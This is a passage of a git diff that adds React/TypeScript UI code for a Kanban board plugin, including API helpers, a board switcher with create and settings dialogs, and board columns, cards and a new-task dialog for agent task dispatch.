+export const updateBoard = (slug: string, patch: Record<string, unknown>) =>
+  call<{ board: BoardMeta }>(`/boards/${encodeURIComponent(slug)}`, { method: 'PATCH', body: patch })
+
+export const nudgeDispatcher = () => call<{ spawned?: unknown[] }>(withBoard('/dispatch'), { method: 'POST', body: {} })
+
+export const saveOrchestration = (patch: Record<string, unknown>) =>
+  call<OrchestrationSettings>('/orchestration', { method: 'PUT', body: patch })
+
+export const saveProfileDescription = (name: string, description: string) =>
+  call(`/profiles/${encodeURIComponent(name)}`, { method: 'PATCH', body: { description } })
+
+export const autoDescribeProfile = (name: string) =>
+  call<{ ok: boolean; reason?: null | string; description?: null | string }>(
+    `/profiles/${encodeURIComponent(name)}/describe-auto`,
+    { method: 'POST', body: { overwrite: true } }
+  )
diff --git a/ui-desktop/src/plugins/kanban/board-switcher.tsx b/ui-desktop/src/plugins/kanban/board-switcher.tsx
new file mode 100644
index 000000000..2e3eb54c5
--- /dev/null
+++ b/ui-desktop/src/plugins/kanban/board-switcher.tsx
@@ -0,0 +1,243 @@
+/**
+ * Titlebar board switcher — the board page projects this into `titleBar.center`
+ * (where chat shows the session-title dropdown) via `<Contribute>`, so it
+ * exists exactly while the page is mounted — no route sniffing. Same chrome as
+ * the session title: quiet label + chevron, menu on click.
+ */
+
+import {
+  Button,
+  Codicon,
+  Dialog,
+  DialogContent,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuSeparator,
+  DropdownMenuTrigger,
+  host,
+  Input,
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+  useMutation,
+  useQuery,
+  useQueryClient,
+  useValue
+} from '@clawcodex/plugin-sdk'
+import { useEffect, useState } from 'react'
+
+import { $boardSlug, BOARDS_KEY, createBoard, fetchBoards, fetchProjects, PROJECTS_KEY, updateBoard } from './api'
+import type { BoardMeta } from './types'
+import { errText, FIELD_LABEL, useKanban } from './ui'
+
+const NO_PROJECT = '__none__'
+
+/** Board scope = a first-class ClawCodex project. Its primary repo becomes the
+ *  board's default workspace root; new tasks inherit it as a worktree with a
+ *  deterministic branch. "No project" falls back to scratch sandboxes. */
+function ProjectPicker({ onChange, value }: { onChange: (id: string) => void; value: string }) {
+  const k = useKanban()
+  const { data } = useQuery({ queryKey: PROJECTS_KEY, queryFn: fetchProjects, staleTime: 30_000 })
+  const projects = data?.projects ?? []
+
+  return (
+    <label className="flex flex-col gap-1">
+      <span className={FIELD_LABEL}>{k.project}</span>
+      <Select onValueChange={id => onChange(id === NO_PROJECT ? '' : id)} value={value || NO_PROJECT}>
+        <SelectTrigger>
+          <SelectValue />
+        </SelectTrigger>
+        <SelectContent>
+          <SelectItem value={NO_PROJECT}>{k.noProject}</SelectItem>
+          {projects.map(project => (
+            <SelectItem key={project.id} value={project.id}>
+              {project.name}
+            </SelectItem>
+          ))}
+        </SelectContent>
+      </Select>
+      <span className="text-[0.6875rem] leading-relaxed text-(--ui-text-quaternary)">
+        {k.projectHintPre}
+        <span className="font-mono">{k.projectHintCmd}</span>.
+      </span>
+    </label>
+  )
+}
+
+function NewBoardDialog({ onClose, open }: { onClose: () => void; open: boolean }) {
+  const k = useKanban()
+  const qc = useQueryClient()
+  const [name, setName] = useState('')
+  const [project, setProject] = useState('')
+
+  const slug = name
+    .trim()
+    .toLowerCase()
+    .replace(/[^a-z0-9]+/g, '-')
+    .replace(/^-+|-+$/g, '')
+
+  useEffect(() => {
+    if (open) {
+      setName('')
+      setProject('')
+    }
+  }, [open])
+
+  const create = useMutation({
+    mutationFn: () => createBoard(slug, name.trim(), project || undefined),
+    onError: err => host.notify({ kind: 'error', message: errText(err) }),
+    onSuccess: result => {
+      $boardSlug.set(result.board.slug)
+      void qc.invalidateQueries({ queryKey: BOARDS_KEY })
+      onClose()
+    }
+  })
+
+  return (
+    <Dialog onOpenChange={o => !o && onClose()} open={open}>
+      <DialogContent className="max-w-md">
+        <DialogHeader>
+          <DialogTitle>{k.newBoard}</DialogTitle>
+        </DialogHeader>
+        <div className="flex flex-col gap-3">
+          <label className="flex flex-col gap-1">
+            <span className={FIELD_LABEL}>{k.name}</span>
+            <Input
+              autoFocus
+              onChange={event => setName(event.target.value)}
+              onKeyDown={event => event.key === 'Enter' && slug && !project && create.mutate()}
+              placeholder={k.boardNamePlaceholder}
+              value={name}
+            />
+            {slug && <span className="text-[0.6875rem] text-(--ui-text-quaternary)">{k.slug(slug)}</span>}
+          </label>
+          <ProjectPicker onChange={setProject} value={project} />
+        </div>
+        <DialogFooter>
+          <Button onClick={onClose} variant="text">
+            {k.cancel}
+          </Button>
+          <Button disabled={!slug || create.isPending} onClick={() => create.mutate()}>
+            {k.createBoard}
+          </Button>
+        </DialogFooter>
+      </DialogContent>
+    </Dialog>
+  )
+}
+
+function BoardSettingsDialog({ board, onClose }: { board: BoardMeta | null; onClose: () => void }) {
+  const k = useKanban()
+  const qc = useQueryClient()
+  const [name, setName] = useState('')
+  const [project, setProject] = useState('')
+
+  useEffect(() => {
+    if (board) {
+      setName(board.name || '')
+      setProject(board.project_id || '')
+    }
+  }, [board])
+
+  const save = useMutation({
+    // Slug is immutable; send name + project_id ('' clears the scope, which
+    // also drops the mirrored default_workdir on the backend).
+    mutationFn: () => updateBoard(board!.slug, { name: name.trim(), project_id: project }),
+    onError: err => host.notify({ kind: 'error', message: errText(err) }),
+    onSuccess: () => {
+      void qc.invalidateQueries({ queryKey: BOARDS_KEY })
+      onClose()
+    }
+  })
+
+  return (
+    <Dialog onOpenChange={o => !o && onClose()} open={Boolean(board)}>
+      <DialogContent className="max-w-md">
+        <DialogHeader>
+          <DialogTitle>{board ? k.boardSettingsFor(board.name || board.slug) : k.boardSettings}</DialogTitle>
+        </DialogHeader>
+        <div className="flex flex-col gap-3">
+          <label className="flex flex-col gap-1">
+            <span className={FIELD_LABEL}>{k.name}</span>
+            <Input onChange={event => setName(event.target.value)} placeholder={k.boardNamePlaceholder} value={name} />
+            {board && <span className="text-[0.6875rem] text-(--ui-text-quaternary)">{k.slug(board.slug)}</span>}
+          </label>
+          <ProjectPicker onChange={setProject} value={project} />
+        </div>
+        <DialogFooter>
+          <Button onClick={onClose} variant="text">
+            {k.cancel}
+          </Button>
+          <Button disabled={save.isPending} onClick={() => save.mutate()}>
+            {k.save}
+          </Button>
+        </DialogFooter>
+      </DialogContent>
+    </Dialog>
+  )
+}
+
+export function BoardSwitcher() {
+  const k = useKanban()
+  const slug = useValue($boardSlug)
+  const { data: boards } = useQuery({ queryFn: fetchBoards, queryKey: BOARDS_KEY, staleTime: 30_000 })
+  const [adding, setAdding] = useState(false)
+  const [settingsFor, setSettingsFor] = useState<BoardMeta | null>(null)
+
+  if (!boards) {
+    return null
+  }
+
+  const currentSlug = slug || boards.current
+  const current = boards.boards.find(meta => meta.slug === currentSlug)
+  const label = current?.name || current?.slug || k.board
+
+  return (
+    <>
+      <DropdownMenu>
+        <DropdownMenuTrigger asChild>
+          <Button className="h-7 max-w-56 gap-1.5 px-2" size="sm" variant="ghost">
+            <span className="min-w-0 flex-1 truncate text-[0.75rem] font-medium leading-none">{label}</span>
+            {typeof current?.total === 'number' && (
+              <span className="text-[0.6875rem] tabular-nums text-(--ui-text-quaternary)">{current.total}</span>
+            )}
+            <Codicon className="shrink-0 text-(--ui-text-tertiary)" name="chevron-down" size="0.8125rem" />
+          </Button>
+        </DropdownMenuTrigger>
+        <DropdownMenuContent align="center">
+          {boards.boards.map(meta => (
+            <DropdownMenuItem
+              key={meta.slug}
+              onSelect={() => $boardSlug.set(meta.slug === boards.current ? '' : meta.slug)}
+            >
+              {meta.name || meta.slug}
+              {typeof meta.total === 'number' && (
+                <span className="text-[0.625rem] tabular-nums text-(--ui-text-quaternary)">{meta.total}</span>
+              )}
+              {meta.slug === currentSlug && <Codicon className="ml-auto" name="check" size="0.8rem" />}
+            </DropdownMenuItem>
+          ))}
+          <DropdownMenuSeparator />
+          {current && (
+            <DropdownMenuItem onSelect={() => setSettingsFor(current)}>
+              <Codicon name="settings-gear" size="0.8rem" />
+              {k.boardSettings}
+            </DropdownMenuItem>
+          )}
+          <DropdownMenuItem onSelect={() => setAdding(true)}>
+            <Codicon name="add" size="0.8rem" />
+            {k.newBoardDots}
+          </DropdownMenuItem>
+        </DropdownMenuContent>
+      </DropdownMenu>
+      <NewBoardDialog onClose={() => setAdding(false)} open={adding} />
+      <BoardSettingsDialog board={settingsFor} onClose={() => setSettingsFor(null)} />
+    </>
+  )
+}
diff --git a/ui-desktop/src/plugins/kanban/board.tsx b/ui-desktop/src/plugins/kanban/board.tsx
new file mode 100644
index 000000000..5b1e49a73
--- /dev/null
+++ b/ui-desktop/src/plugins/kanban/board.tsx
@@ -0,0 +1,1430 @@
+/**
+ * The Kanban board page — mounted at `/kanban` (a ROUTES_AREA contribution) in
+ * the workspace pane. The desktop port of the dashboard board: one compact
+ * header row (count, filter kebab, search, settings, new task — the board
+ * SWITCHER lives in the titlebar, see board-switcher.tsx), columns in
+ * BOARD_COLUMNS order, drag-to-move (optimistic, workflow-checked),
+ * ⌘-click multi-select with a floating bulk bar, right-click actions, and
+ * the detail drawer. Dispatch nudges ride every write (see api.ts).
+ */
+
+import {
+  Button,
+  cn,
+  Codicon,
+  compactNumber,
+  ContextMenu,
+  ContextMenuContent,
+  ContextMenuItem,
+  ContextMenuSeparator,
+  ContextMenuTrigger,
+  Contribute,
+  Dialog,
+  DialogContent,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuSeparator,
+  DropdownMenuTrigger,
+  ErrorState,
+  host,
+  Input,
+  Loader,
+  SearchField,
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+  Switch,
+  Textarea,
+  Tip,
+  TITLEBAR_AREAS,
+  useGrabScroll,
+  useMutation,
+  useQuery,
+  useQueryClient,
+  useValue
+} from '@clawcodex/plugin-sdk'
+import {
+  type CSSProperties,
+  type DragEvent as ReactDragEvent,
+  type ReactNode,
+  useEffect,
+  useMemo,
+  useRef,
+  useState
+} from 'react'
+
+import {
+  $boardSlug,
+  $collapsedLanes,
+  $introDismissed,
+  $lanesByProfile,
+  boardKey,
+  BOARDS_KEY,
+  bulkTasks,
+  createTask,
+  deleteTask,
+  estimateNew,
+  fetchBoard,
+  fetchBoards,
+  fetchProfiles,
+  patchTask,
+  PROFILES_KEY
+} from './api'
+import { BoardSwitcher } from './board-switcher'
+import { TaskDrawer } from './drawer'
+import { EMPTY_OVERRIDE, ModelOverrideField, overrideCreateFields, type TaskModelOverride } from './model-override'
+import { OrchestrationPanel } from './orchestration'
+import { columnMeta, type KanbanBoard, type KanbanTask, type TaskEstimate } from './types'
+import {
+  $newTaskLane,
+  ago,
+  type ArcState,
+  arcState,
+  Avatar,
+  columnHelp,
+  columnLabel,
+  errText,
+  FIELD_LABEL,
+  isLockedTarget,
+  lockedReason,
+  RunClock,
+  shortId,
+  useDefaultAssignee,
+  useKanban,
+  useOrchestration
+} from './ui'
+
+// ── optimistic board edits (reconciled by the follow-up refresh) ─────────────
+
+function moveCard(board: KanbanBoard, id: string, toStatus: string): KanbanBoard {
+  let moved: KanbanTask | undefined
+
+  const columns = board.columns.map(col => ({
+    ...col,
+    tasks: col.tasks.filter(task => {
+      if (task.id !== id) {
+        return true
+      }
+
+      moved = { ...task, status: toStatus }
+
+      return false
+    })
+  }))
+
+  if (!moved) {
+    return board
+  }
+
+  return {
+    ...board,
+    columns: columns.map(col => (col.name === toStatus ? { ...col, tasks: [moved!, ...col.tasks] } : col))
+  }
+}
+
+function removeCard(board: KanbanBoard, id: string): KanbanBoard {
+  return { ...board, columns: board.columns.map(col => ({ ...col, tasks: col.tasks.filter(t => t.id !== id) })) }
+}
+
+// ── card ─────────────────────────────────────────────────────────────────────
+
+function Meta({ children, icon }: { children: ReactNode; icon: string }) {
+  return (
+    <span className="inline-flex items-center gap-1">
+      <Codicon name={icon} size="0.7rem" />
+      {children}
+    </span>
+  )
+}
+
+function CardFooter({ arc, task }: { arc: ArcState | null; task: KanbanTask }) {
+  const k = useKanban()
+  const created = ago(task.created_at)
+  const links = task.link_counts ? task.link_counts.parents + task.link_counts.children : 0
+  const fallback = useDefaultAssignee()
+  const orchestrator = useOrchestration()?.resolved_orchestrator_profile ?? ''
+  // Ready + no assignee: with a configured default assignee the dispatcher
+  // auto-assigns on its next tick (#27145) — say THAT, not "won't run". Only
+  // a board with no fallback has the genuine silent failure.
+  const unassignedReady = task.status === 'ready' && !task.assignee
+
+  // The agent on the hook for a queued card: the explicit assignee, else the
+  // auto-default (ready), else the specifier that rewrites triage cards.
+  const attached = task.assignee || (task.status === 'ready' ? fallback : task.status === 'triage' ? orchestrator : '')
+
+  const meta = columnMeta(task.status)
+
+  return (
+    <div className="flex items-center gap-2 whitespace-nowrap text-[0.625rem] text-(--ui-text-tertiary)">
+      {arc === 'queued' && attached ? (
+        // WHO is coming for the card. The arc only animates once the agent is
+        // actually working; while queued, the named chip carries "attached".
+        <Tip
+          label={
+            task.status === 'review'
+              ? k.reviewChecking
+              : task.assignee
+                ? k.attachedTip(attached)
+                : task.status === 'triage'
+                  ? k.orchestratorTip(attached)
+                  : k.autoAssignTip(attached)
+          }
+        >
+          <span className="inline-flex min-w-0 cursor-help items-center gap-1 font-medium" style={{ color: meta.tone }}>
+            <Avatar name={attached} size="1.125rem" />
+            <span className="truncate">
+              {!task.assignee && '→ '}
+              {attached}
+            </span>
+          </span>
+        </Tip>
+      ) : task.assignee ? (
+        <Avatar name={task.assignee} size="1.125rem" />
+      ) : null}
+      {arc === 'running' && (
+        <Tip label={k.arcRunning}>
+          <span className="shrink-0 cursor-help">
+            <RunClock task={task} />
+          </span>
+        </Tip>
+      )}
+      {arc === 'stale' && (
+        <Tip label={k.arcStale}>
+          <span className="shrink-0 cursor-help font-medium text-amber-500">{k.noHeartbeat}</span>
+        </Tip>
+      )}
+      {unassignedReady && !fallback && (
+        <Tip label={k.wontRunTip}>
+          <span className="inline-flex shrink-0 cursor-help items-center gap-1 text-amber-500">
+            <Codicon name="debug-disconnect" size="0.7rem" />
+            {k.wontRun}
+          </span>
+        </Tip>
+      )}
+      <div className="ml-auto flex min-w-0 shrink items-center gap-2">
+        {typeof task.priority === 'number' && task.priority > 0 && (
+          <span className="inline-flex items-center gap-0.5 text-amber-500">
+            <Codicon name="arrow-up" size="0.7rem" />
+            {task.priority}
+          </span>
+        )}
+        {task.progress && task.progress.total > 0 && (
+          <Meta icon="checklist">
+            {task.progress.done}/{task.progress.total}
+          </Meta>
+        )}
+        {Boolean(task.comment_count) && <Meta icon="comment">{task.comment_count}</Meta>}
+        {links > 0 && <Meta icon="references">{links}</Meta>}
+        {task.warnings && task.warnings.count > 0 && (
+          <span className="inline-flex items-center gap-0.5 text-destructive">
+            <Codicon name="warning" size="0.7rem" />
+            {task.warnings.count}
+          </span>
+        )}
+        {created && !task.assignee && !unassignedReady ? (
+          <span className="text-(--ui-text-quaternary)">{created}</span>
+        ) : null}
+        <span className="min-w-0 truncate font-mono text-(--ui-text-quaternary)">{shortId(task.id)}</span>
+      </div>
+    </div>
+  )
+}
+
+function Card({
+  columns,
+  onDelete,
+  onMove,
+  onOpen,
+  onToggleSelect,
+  selected,
+  task
+}: {
+  columns: string[]
+  onDelete: (id: string) => void
+  onMove: (id: string, status: string) => void
+  onOpen: (id: string) => void
+  onToggleSelect: (id: string) => void
+  selected: boolean
+  task: KanbanTask
+}) {
+  const k = useKanban()
+  const [dragging, setDragging] = useState(false)
+  const meta = columnMeta(task.status)
+  const summary = task.latest_summary || task.body
+  const fallback = useDefaultAssignee()
+  const arc = arcState(task, fallback)
+
+  return (
+    <ContextMenu>
+      <ContextMenuTrigger asChild>
+        <div
+          className={cn(
+            'group relative flex cursor-grab flex-col gap-2 rounded-md border border-(--ui-stroke-tertiary) border-l-2 bg-(--ui-bg-elevated) p-2.5',
+            // Hover matches the provider-picker rows: a quiet primary fill;
+            // selected = the theme's focus color (same as a focused input).
+            'transition-colors hover:bg-primary/[0.06] active:cursor-grabbing',
+            selected && 'border-(--dt-composer-ring) bg-[color-mix(in_srgb,var(--dt-composer-ring)_7%,transparent)]',
+            dragging && 'opacity-40'
+          )}
+          draggable
+          onClick={event => (event.metaKey || event.ctrlKey ? onToggleSelect(task.id) : onOpen(task.id))}
+          onDragEnd={() => setDragging(false)}
+          onDragStart={event => {
+            event.dataTransfer.setData('text/plain', task.id)
+            event.dataTransfer.effectAllowed = 'move'
+            // Snapshot the drag image before dimming the source, so the ghost
+            // stays a solid card (dimming first would bake 40% into it).
+            event.dataTransfer.setDragImage(event.currentTarget, event.nativeEvent.offsetX, event.nativeEvent.offsetY)
+            setDragging(true)
+          }}
+          style={{ '--kanban-tone': meta.tone, borderLeftColor: meta.tone } as CSSProperties}
+        >
+          {/* Machine-activity arc: animates ONLY while an agent is actually on
+              the card (claimed + working; amber when the heartbeat is gone).
+              Queued attachment is the footer's named-agent chip — a moving
+              border on an idle card would lie. Hidden during drag/selection
+              so those states stay legible. */}
+          {(arc === 'running' || arc === 'stale') && !dragging && !selected && (
+            <span aria-hidden className={cn('kanban-arc', arc === 'stale' && 'kanban-arc--stale')} />
+          )}
+          <span className="line-clamp-2 text-[0.8125rem] font-medium leading-snug text-foreground">
+            {task.title || task.id}
+          </span>
+          {summary && (
+            <span className="line-clamp-2 text-[0.6875rem] leading-snug text-(--ui-text-tertiary)">{summary}</span>
+          )}
+          <CardFooter arc={arc} task={task} />
+        </div>
+      </ContextMenuTrigger>
+      <ContextMenuContent>
+        <ContextMenuItem onSelect={() => onOpen(task.id)}>
+          <Codicon name="link-external" size="0.85rem" />
+          {k.open}
+        </ContextMenuItem>
+        <ContextMenuItem onSelect={() => onToggleSelect(task.id)}>
+          <Codicon name={selected ? 'close' : 'check-all'} size="0.85rem" />
+          {selected ? k.deselect : k.select}
+        </ContextMenuItem>
+        <ContextMenuSeparator />
+        {columns
+          .filter(name => name !== task.status && !isLockedTarget(name))
+          .map(name => (
+            <ContextMenuItem key={name} onSelect={() => onMove(task.id, name)}>
+              <span className="size-2 rounded-full" style={{ backgroundColor: columnMeta(name).tone }} />
+              {k.moveTo(columnLabel(k, name))}
+            </ContextMenuItem>
+          ))}
+        <ContextMenuSeparator />
+        <ContextMenuItem onSelect={() => onDelete(task.id)} variant="destructive">
+          <Codicon name="trash" size="0.85rem" />
+          {k.delete}
+        </ContextMenuItem>
+      </ContextMenuContent>
+    </ContextMenu>
+  )
+}
+
+// ── column ───────────────────────────────────────────────────────────────────
+
+function Column({
+  collapsed,
+  column,
+  columns,
+  onAdd,
+  onDelete,
+  onDropTask,
+  onMove,
+  onOpen,
+  onToggle,
+  onToggleSelect,
+  selected
+}: {
+  collapsed: boolean
+  column: { name: string; tasks: KanbanTask[] }
+  columns: string[]
+  onAdd: (status: string) => void
+  onDelete: (id: string) => void
+  onDropTask: (id: string, status: string) => void
+  onMove: (id: string, status: string) => void
+  onOpen: (id: string) => void
+  onToggle: () => void
+  onToggleSelect: (id: string) => void
+  selected: ReadonlySet<string>
+}) {
+  const k = useKanban()
+  const [over, setOver] = useState(false)
+  const meta = columnMeta(column.name)
+  const label = columnLabel(k, column.name)
+  const locked = isLockedTarget(column.name)
+  const byProfile = useValue($lanesByProfile)
+
+  // The dashboard's "lanes by profile": sub-group Running by assignee so a
+  // fleet's in-flight work reads per-worker. Null = flat (off, or trivial).
+  const lanes = useMemo(() => {
+    if (!byProfile || column.name !== 'running' || column.tasks.length === 0) {
+      return null
+    }
+
+    const groups = new Map<string, KanbanTask[]>()
+
+    for (const task of column.tasks) {
+      const key = task.assignee || UNASSIGNED_LANE
+      groups.set(key, [...(groups.get(key) ?? []), task])
+    }
+
+    return [...groups.entries()].sort(([a], [b]) => a.localeCompare(b))
+  }, [byProfile, column])
+
+  const dragHandlers = {
+    onDragLeave: () => setOver(false),
+    onDragOver: (event: ReactDragEvent<HTMLElement>) => {
+      // Locked lanes don't preventDefault → the OS shows the no-drop cursor
+      // and the drop event never fires. The lane is honest about itself.
+      if (locked) {
+        event.dataTransfer.dropEffect = 'none'
+
+        return
+      }
+
+      event.preventDefault()
+      event.dataTransfer.dropEffect = 'move'
+      setOver(true)
+    },
+    onDrop: (event: ReactDragEvent<HTMLElement>) => {
+      event.preventDefault()
+      setOver(false)
+      const id = event.dataTransfer.getData('text/plain')
+
+      if (id) {
+        onDropTask(id, column.name)
+      }
+    }
+  }
+
+  const wash = over && !locked ? 'bg-(--ui-bg-quinary)' : 'bg-[color-mix(in_srgb,var(--ui-bg-quinary)_50%,transparent)]'
+
+  // Collapsed = a thin vertical rail: dot, sideways label, count. Still a live
+  // drop target (drop straight onto the rail); click expands. The dot sits in
+  // the same h-5 header row as an expanded lane's, so dots align across the
+  // board regardless of collapse state.
+  if (collapsed) {
+    return (
+      <button
+        {...dragHandlers}
+        aria-label={k.expand(label)}
+        className={cn(
+          'flex h-full w-8 shrink-0 flex-col items-center gap-1.5 rounded-lg p-2 transition-colors hover:bg-(--ui-bg-quinary)',
+          wash
+        )}
+        onClick={onToggle}
+        type="button"
+      >
+        <span className="grid h-5 shrink-0 place-items-center">
+          <span className="size-1.5 rounded-full" style={{ backgroundColor: meta.tone }} />
+        </span>
+        <span className="text-[0.6875rem] font-medium uppercase tracking-wide text-(--ui-text-tertiary) [writing-mode:vertical-rl]">
+          {label}
+        </span>
+        {column.tasks.length > 0 && (
+          <span className="text-[0.625rem] tabular-nums text-(--ui-text-quaternary)">{column.tasks.length}</span>
+        )}
+      </button>
+    )
+  }
+
+  return (
+    <div
+      {...dragHandlers}
+      className={cn('group/col flex h-full w-64 shrink-0 flex-col rounded-lg p-2 transition-colors', wash)}
+    >
+      <header className="mb-1.5 flex h-5 items-center gap-1.5 px-1">
+        <span className="size-1.5 rounded-full" style={{ backgroundColor: meta.tone }} />
+        <Tip label={columnHelp(k, column.name)}>
+          <span className="cursor-help text-[0.6875rem] font-medium uppercase tracking-wide text-(--ui-text-tertiary)">
+            {label}
+          </span>
+        </Tip>
+        <span className="text-[0.625rem] tabular-nums text-(--ui-text-quaternary)">{column.tasks.length}</span>
+        <button
+          aria-label={k.collapse(label)}
+          className="ml-auto grid size-5 place-items-center rounded text-(--ui-text-tertiary) opacity-0 transition-opacity hover:bg-(--chrome-action-hover) hover:text-foreground focus-visible:opacity-100 group-hover/col:opacity-100"
+          onClick={onToggle}
+          type="button"
+        >
+          <Codicon name="chevron-left" size="0.75rem" />
+        </button>
+      </header>
+      <div className="relative flex min-h-0 flex-1 flex-col gap-2 overflow-y-auto">
+        {lanes
+          ? lanes.map(([assignee, tasks]) => (
+              <div className="flex flex-col gap-2" key={assignee}>
+                <div className="flex items-center gap-1.5 px-1 pt-1 text-[0.625rem] text-(--ui-text-quaternary)">
+                  {assignee !== UNASSIGNED_LANE && <Avatar name={assignee} size="0.875rem" />}
+                  {assignee}
+                  <span className="tabular-nums">{tasks.length}</span>
+                </div>
+                {tasks.map(task => (
+                  <Card
+                    columns={columns}
+                    key={task.id}
+                    onDelete={onDelete}
+                    onMove={onMove}
+                    onOpen={onOpen}
+                    onToggleSelect={onToggleSelect}
+                    selected={selected.has(task.id)}
+                    task={task}
+                  />
+                ))}
+              </div>
+            ))
+          : column.tasks.map(task => (
+              <Card
+                columns={columns}
+                key={task.id}
+                onDelete={onDelete}
+                onMove={onMove}
+                onOpen={onOpen}
+                onToggleSelect={onToggleSelect}
+                selected={selected.has(task.id)}
+                task={task}
+              />
+            ))}
+        {/* Jira-style lane add — dashed, faded in on lane hover. Opacity (not
+            display) so it always holds its slot and never thrashes layout.
+            Locked lanes get none: you can't create into a system state. */}
+        {!locked && (
+          <button
+            aria-label={k.newTaskIn(label)}
+            className="flex shrink-0 items-center justify-center rounded-md border border-dashed border-(--ui-stroke-secondary) py-1.5 text-(--ui-text-tertiary) opacity-0 transition-[opacity,color,border-color] group-hover/col:opacity-100 hover:border-(--ui-text-quaternary) hover:bg-(--chrome-action-hover) hover:text-foreground focus-visible:opacity-100"
+            onClick={() => onAdd(column.name)}
+            type="button"
+          >
+            <Codicon name="add" size="0.8rem" />
+          </button>
+        )}
+        {column.tasks.length === 0 && (
+          <div className="pointer-events-none absolute inset-0 grid place-items-center text-[0.6875rem] text-(--ui-text-quaternary)">
+            {k.empty}
+          </div>
+        )}
+      </div>
+    </div>
+  )
+}
+
+// ── dialogs ──────────────────────────────────────────────────────────────────
+
+const NO_PARENT = '__none__'
+const PARKED = '__parked__'
+const WORKSPACE_KINDS = ['scratch', 'worktree', 'dir'] as const
+
+function Field({ children, label }: { children: ReactNode; label: string }) {
+  return (
+    <label className="flex flex-col gap-1">
+      <span className={FIELD_LABEL}>{label}</span>
+      {children}
+    </label>
+  )
+}
+
+function NewTaskDialog({
+  onClose,
+  parents,
+  target
+}: {
+  onClose: () => void
+  parents: Array<{ id: string; title: string }>
+  target: null | string
+}) {
+  const k = useKanban()
+  const qc = useQueryClient()
+  const { data: roster } = useQuery({ queryKey: PROFILES_KEY, queryFn: fetchProfiles, staleTime: 60_000 })
+  // Title-only creates must RUN: "auto" resolves to the orchestration default
+  // (ultimately the active profile), applied at create time. Never silently
+  // unassigned — parking a card is the explicit choice, not the default.
+  const resolvedDefault = useOrchestration()?.resolved_default_assignee || 'default'
+
+  // Board-level workspace default: a task inherits the current board's
+  // configured project dir (scratch when unset, worktree in a git repo, else
+  // dir) unless the operator overrides it below. Set the board default in the
+  // board switcher's "Board settings…".
+  const selectedSlug = useValue($boardSlug)
+  const { data: boards } = useQuery({ queryKey: BOARDS_KEY, queryFn: fetchBoards, staleTime: 30_000 })
+  const currentBoard = boards?.boards.find(b => b.slug === (selectedSlug || boards.current))
+  const boardDefaultKind = currentBoard?.default_workspace_kind || 'scratch'
+  const boardDefaultDir = currentBoard?.default_workdir || ''
+
+  const isTriage = target === 'triage'
+  const [title, setTitle] = useState('')
+  const [bodyText, setBodyText] = useState('')
+  const [assignee, setAssignee] = useState('')
+  const [priority, setPriority] = useState('0')
+  const [skills, setSkills] = useState('')
+  const [workspaceKind, setWorkspaceKind] = useState<string>(boardDefaultKind)
+  // Empty = inherit the board's default project dir (backend resolves it);
+  // a path here overrides just this task. Only meaningful for dir/worktree.
+  const [workspacePath, setWorkspacePath] = useState('')
+  const [parent, setParent] = useState('')
+  const [modelOverride, setModelOverride] = useState<TaskModelOverride>(EMPTY_OVERRIDE)
+  const [goalMode, setGoalMode] = useState(false)
+  const [busy, setBusy] = useState(false)
+  const [error, setError] = useState<null | string>(null)
+  const [estimate, setEstimate] = useState<null | TaskEstimate>(null)
+
+  // Rough effort estimate from the typed title/body (before the task exists),
+  // via the auto-routed auxiliary model. Makes a model call — explicit action.
+  const estMut = useMutation({
+    mutationFn: () => estimateNew(title.trim(), bodyText.trim()),
+    onError: err => host.notify({ kind: 'error', message: errText(err) }),
+    onSuccess: r => {
+      if (r.ok) {
+        setEstimate(r)
+      } else {
+        host.notify({ kind: 'warning', message: r.reason || k.couldNotEstimate })
+      }
+    }
+  })
+
+  // Reset per open — the dialog is externally controlled (open = target set),
+  // so onOpenChange(true) never fires; key the reset off `target` (and the
+  // resolved board default, which may arrive after the first open).
+  useEffect(() => {
+    if (target) {
+      setTitle('')
+      setBodyText('')
+      setAssignee('')
+      setPriority('0')
+      setSkills('')
+      setWorkspaceKind(boardDefaultKind)
+      setWorkspacePath('')
+      setParent('')
+      setModelOverride(EMPTY_OVERRIDE)
+      setGoalMode(false)
+      setError(null)
+      setBusy(false)
+      setEstimate(null)
+    }
+  }, [target, boardDefaultKind])
+
+  const submit = async () => {
+    const trimmed = title.trim()
+
+    if (!trimmed || !target || busy) {
+      return
+    }
+
+    setBusy(true)
+    setError(null)
+
+    try {
+      const skillList = skills
+        .split(',')
+        .map(s => s.trim())
+        .filter(Boolean)
+
+      // create() derives status (triage flag → 'triage', else 'ready'); move to
+      // the requested column when they differ, so a per-column add lands right.
+      const { task, warning } = await createTask({
+        assignee: assignee === PARKED ? undefined : assignee || resolvedDefault,
+        body: bodyText.trim() || undefined,
+        goal_mode: goalMode,
+        parents: parent ? [parent] : undefined,
+        priority: Number(priority) || 0,
+        skills: skillList.length ? skillList : undefined,
+        title: trimmed,
+        triage: isTriage,
+        workspace_kind: workspaceKind,
+        ...overrideCreateFields(modelOverride),
+        // Empty → backend inherits the board's default project dir.
+        workspace_path: workspaceKind !== 'scratch' && workspacePath.trim() ? workspacePath.trim() : undefined
+      })
+
+      if (task && task.status !== target) {
+        await patchTask(task.id, { status: target })
+      }
+
+      // Dispatcher-presence warning ("this ready task will sit idle") — not an
+      // error, but the user should know.
+      if (warning) {
+        host.notify({ kind: 'warning', message: warning })
+      }
+
+      await qc.invalidateQueries({ queryKey: ['kanban', 'board'] })
+      onClose()
+    } catch (err) {
+      setError(errText(err))
+      setBusy(false)
+    }
+  }
+
+  return (
+    <Dialog onOpenChange={open => !open && onClose()} open={Boolean(target)}>
+      {/* `overflow-visible`: DialogContent publishes ITSELF as the portal
+          container for popovers opened inside it (dialog-portal-context), and
+          its default `overflow-y-auto` then crops them at the dialog's edge —
+          the model menu below is born inside that scroll box. This dialog
+          already owns a scroller on its body div, so the shell's clip is
+          redundant here and dropping it is safe. The general fix to
+          DialogContent is in flight as #75600; when that lands this override
+          becomes a no-op and can go. */}
+      <DialogContent className="w-[min(42rem,94vw)] max-w-none overflow-visible">
+        <DialogHeader>
+          <DialogTitle>{target ? k.newTaskIn(columnLabel(k, target)) : k.newTask}</DialogTitle>
+        </DialogHeader>
